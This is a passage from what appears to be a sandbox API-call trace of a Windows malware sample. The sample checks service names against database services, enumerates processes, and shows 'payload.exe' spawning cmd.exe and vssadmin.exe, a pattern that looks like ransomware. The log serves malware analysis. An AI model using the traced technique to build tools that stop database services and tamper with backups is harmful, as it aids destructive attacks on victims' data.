lpString2="NgcSvc") returned -1 [0136.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0136.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0136.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0136.559] lstrlenW (lpString="NlaSvc") returned 6 [0136.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0136.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0136.559] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0136.559] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0136.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0136.559] lstrlenW (lpString="nsi") returned 3 [0136.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0136.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0136.559] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0136.559] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0136.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0136.559] lstrlenW (lpString="PcaSvc") returned 6 [0136.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0136.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0136.559] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0136.559] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0136.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0136.559] lstrlenW (lpString="PlugPlay") returned 8 [0136.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0136.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0136.559] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0136.559] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0136.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0136.559] lstrlenW (lpString="Power") returned 5 [0136.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0136.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0136.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0136.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0136.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0136.559] lstrlenW (lpString="ProfSvc") returned 7 [0136.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0136.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0136.559] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0136.559] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0136.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0136.560] lstrlenW (lpString="RpcEptMapper") returned 12 [0136.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0136.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0136.560] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0136.560] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0136.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0136.560] lstrlenW (lpString="RpcSs") returned 5 [0136.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0136.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0136.560] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0136.560] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0136.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0136.560] lstrlenW (lpString="SamSs") returned 5 [0136.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0136.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0136.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0136.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0136.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0136.560] lstrlenW (lpString="Schedule") returned 8 [0136.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0136.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0136.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0136.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0136.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0136.560] lstrlenW (lpString="SecurityHealthService") returned 21 [0136.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0136.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0136.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0136.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0136.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0136.560] lstrlenW (lpString="SENS") returned 4 [0136.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0136.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0136.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0136.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0136.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0136.561] lstrlenW (lpString="ShellHWDetection") returned 16 [0136.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0136.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0136.561] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0136.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0136.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0136.561] lstrlenW (lpString="Spooler") returned 7 [0136.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0136.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0136.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0136.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0136.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0136.561] lstrlenW (lpString="StateRepository") returned 15 [0136.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0136.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0136.561] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0136.561] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0136.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0136.561] lstrlenW (lpString="SysMain") returned 7 [0136.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0136.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0136.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0136.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0136.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0136.561] lstrlenW (lpString="SystemEventsBroker") returned 18 [0136.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0136.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0136.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0136.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0136.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0136.562] lstrlenW (lpString="Themes") returned 6 [0136.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0136.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0136.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0136.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0136.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0136.562] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0136.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0136.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0136.562] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0136.562] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0136.562] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448dfd8 | out: hHeap=0x510000) returned 1 [0136.562] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c4 [0136.565] Process32FirstW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.566] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0136.694] lstrlenW (lpString="System") returned 6 [0136.694] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0136.695] lstrlenW (lpString="smss.exe") returned 8 [0136.695] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0136.696] lstrlenW (lpString="csrss.exe") returned 9 [0136.696] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0136.696] lstrlenW (lpString="wininit.exe") returned 11 [0136.696] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0136.697] lstrlenW (lpString="csrss.exe") returned 9 [0136.697] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0136.698] lstrlenW (lpString="winlogon.exe") returned 12 [0136.698] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0136.698] lstrlenW (lpString="services.exe") returned 12 [0136.699] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0136.699] lstrlenW (lpString="lsass.exe") returned 9 [0136.699] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.700] lstrlenW (lpString="svchost.exe") returned 11 [0136.700] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0136.701] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0136.701] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0136.701] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0136.702] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.702] lstrlenW (lpString="svchost.exe") returned 11 [0136.702] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0136.703] lstrlenW (lpString="dwm.exe") returned 7 [0136.703] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.704] lstrlenW (lpString="svchost.exe") returned 11 [0136.704] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.704] lstrlenW (lpString="svchost.exe") returned 11 [0136.704] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.705] lstrlenW (lpString="svchost.exe") returned 11 [0136.705] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.706] lstrlenW (lpString="svchost.exe") returned 11 [0136.706] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.706] lstrlenW (lpString="svchost.exe") returned 11 [0136.707] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.707] lstrlenW (lpString="svchost.exe") returned 11 [0136.707] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.708] lstrlenW (lpString="svchost.exe") returned 11 [0136.708] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.709] lstrlenW (lpString="svchost.exe") returned 11 [0136.709] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.710] lstrlenW (lpString="svchost.exe") returned 11 [0136.710] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.711] lstrlenW (lpString="svchost.exe") returned 11 [0136.711] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0136.711] lstrlenW (lpString="spoolsv.exe") returned 11 [0136.711] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.712] lstrlenW (lpString="svchost.exe") returned 11 [0136.712] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0136.713] lstrlenW (lpString="audiodg.exe") returned 11 [0136.713] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0136.714] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0136.714] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0136.714] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0136.715] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0136.715] lstrlenW (lpString="Memory Compression") returned 18 [0136.715] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0136.716] lstrlenW (lpString="sihost.exe") returned 10 [0136.716] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.717] lstrlenW (lpString="svchost.exe") returned 11 [0136.717] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0136.718] lstrlenW (lpString="taskhostw.exe") returned 13 [0136.718] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0136.719] lstrlenW (lpString="msoia.exe") returned 9 [0136.719] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0136.719] lstrlenW (lpString="explorer.exe") returned 12 [0136.719] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0136.720] lstrlenW (lpString="SearchUI.exe") returned 12 [0136.720] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0136.721] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0136.721] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0136.722] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0136.722] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0136.722] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0136.722] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0136.723] lstrlenW (lpString="payload.exe") returned 11 [0136.723] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0136.724] lstrlenW (lpString="cmd.exe") returned 7 [0136.724] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0136.725] lstrlenW (lpString="conhost.exe") returned 11 [0136.725] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0136.726] lstrlenW (lpString="vssadmin.exe") returned 12 [0136.726] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0136.726] lstrlenW (lpString="consent.exe") returned 11 [0136.726] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0136.727] CloseHandle (hObject=0x4c4) returned 1 [0136.727] Sleep (dwMilliseconds=0x1f4) [0137.344] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443dfe0 [0137.345] EnumServicesStatusExW (in: hSCManager=0x443dfe0, InfoLevel=0x0, dwServiceType=0x30, 